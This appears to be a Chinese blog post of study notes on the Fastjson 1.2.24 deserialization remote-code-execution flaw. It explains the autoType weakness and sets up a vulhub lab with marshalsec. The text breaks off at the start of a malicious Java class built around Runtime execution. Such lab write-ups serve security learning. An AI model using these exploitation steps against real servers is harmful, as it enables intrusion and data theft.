FastJson远程命令执行漏洞

FastJson远程命令执行漏洞学习笔记

Fastjson简介

fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。fastjson.jar是阿里开发的一款专门用于Java开发的包,可以方便的实现json对象与JavaBean对象的转换,实现JavaBean对象与json字符串的转换,实现json对象与json字符串的转换。

fastjson是java的一个库,可以将java对象转化为json格式的字符串,也可以将json格式的字符串转化为java对象,提供了 toJSONString() 和 parseObject() 方法来将 Java 对象与 JSON 相互转换。调用toJSONString方 法即可将对象转换成 JSON 字符串,parseObject 方法则反过来将 JSON 字符串转换成对象。

//将字符串转化为对象
JSONObject obj=JSON.parseObject(jsonStr);

JavaBean:

JavaBean 是特殊的 Java 类,使用 Java 语言书写,并且遵守 JavaBean API 规范。JavaBean的特征:

  • 提供一个默认的无参构造函数。
  • 需要被序列化并且实现了 Serializable 接口。
  • 可能有一系列可读写属性。
  • 可能有一系列的 getter 或 setter 方法。

Fastjson远程命令执行漏洞原理

Fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并用该类的set/get方法来访问属性。

其在反序列化的时候,会进入parseField方法,进入该方法后,就会调用setValue(object,value)方法,会将获取到的数组对象,赋予到@type class中的对应属性中。(在后面构造poc的时候详细说)在这里,就可能执行构造的恶意代码。从而造成代码执行。

通俗理解:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类中连接远程主机,通过其中的恶意类执行代码。攻击者通过这种方式,可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行更改,增加,删除等操作,对服务器造成巨大影响。

环境准备

1、安装docker

sudo apt update
sudo apt install -y docker.io
dockesystemclt enable docker --now
sudo apt install docker-compose

2、安装vulhub

github下载,解压进入fastjson->1.2.24rce文件夹在这里打开终端(cd也行)

sudo docker-compose build
sudo docker-compose up -d

3、配置java8

下载java8

https://www.oracle.com/java/technologies/downloads/

在这里插入图片描述

mkdir /opt/java
tar zxvf jdk8u341-linux-x64.tar.gz

vim /etc/profile
	末尾添加:
		export JAVA_HOME=/opt/java/jdk1.8.0_341
		export JRE_HOME=/opt/java/jdk1.8.0_341
		export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
		export PAHT=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin
source /etc/profile

java -version
显示版本即配置成功

4、下载marshalsec

git clone https://github.com/mbechler/marshalsec.git

5、安装maven

下载maven

apt-get install maven

使用maven编译marshalsec成jar包

cd marshalsec
mvn clean package -DskipTests

漏洞复现

fastjson1.2.24-rce

靶机kali :192.168.255.130 攻击机kali: 192.168.255.130

这里也可以用两个不同机器

开启fastjson漏洞

sudo docker-compose up -d
这里是因为之前我已经开过了

在这里插入图片描述

访问靶机,可以看到json格式的输出

在这里插入图片描述

执行下面这条命令,使用 curl命令模拟json格式的POST请求,返回json格式的请求结果,没报404,正常情况下说明存在该漏洞。

curl http://192.168.255.130:8090/ -H "Content-Type: application/json" --data '{"name":"xmp", "age":405}'

还可以通过burp抓包,post一个非json格式的数据,看报错情况(但是这里我没有成功,暂时没找到原因借用一下网图)

在这里插入图片描述

编译一个恶意类,这里其实需要注意一下,有的kali权限受限,不会执行commonds中的命令,比如这里的这个如果没有root权限的话就执行不了,导致没有结果。后面在加一个普通权限即可有结果回显的。

//fjsonxmp.java
import java.lang.Runtime;
import java.lang.Process;

public class fjsonxmp {
   

    static {
   

        try {
   
            //运行时,是一个封装了JVM进程的类。每一个JAVA程序实际上都是启动了一个JVM进程,那么每一个进程都是对应这一个Runtime实例,其
  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值